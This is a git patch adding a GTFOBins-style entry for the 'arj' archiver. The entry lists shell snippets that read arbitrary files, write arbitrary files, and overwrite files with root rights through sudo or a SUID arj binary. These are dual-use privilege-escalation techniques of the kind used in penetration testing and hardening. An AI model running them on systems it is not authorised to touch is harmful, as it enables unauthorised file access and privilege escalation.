From 074adc3ae331d3f5278063fd9dac62e98ce96ba1 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Sat, 26 Jun 2021 11:32:21 +0200 Subject: [PATCH] Add arj Close #221. --- _gtfobins/arj.md | 37 +++++++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) create mode 100644 _gtfobins/arj.md diff --git a/_gtfobins/arj.md b/_gtfobins/arj.md new file mode 100644 index 0000000..df34ccb --- /dev/null +++ b/_gtfobins/arj.md @@ -0,0 +1,37 @@ +--- +functions: + file-read: + - description: The file appears amid some other textual information. The archive can also be downloaded then extracted offline. + code: | + TF=$(mktemp -u) + LFILE=file_to_read + arj a "$TF" "$LFILE" + arj p "$TF" + file-write: + - description: The archive can also be prepared offline then uploaded. + code: | + TF=$(mktemp -d) + LFILE=file_to_write + LDIR=where_to_write + echo DATA >"$TF/$LFILE" + arj a "$TF/a" "$TF/$LFILE" + arj e "$TF/a" $LDIR + sudo: + - description: The archive can also be prepared offline then uploaded. + code: | + TF=$(mktemp -d) + LFILE=file_to_write + LDIR=where_to_write + echo DATA >"$TF/$LFILE" + arj a "$TF/a" "$TF/$LFILE" + sudo arj e "$TF/a" $LDIR + suid: + - description: The archive can also be prepared offline then uploaded. + code: | + TF=$(mktemp -d) + LFILE=file_to_write + LDIR=where_to_write + echo DATA >"$TF/$LFILE" + arj a "$TF/a" "$TF/$LFILE" + ./arj e "$TF/a" $LDIR +---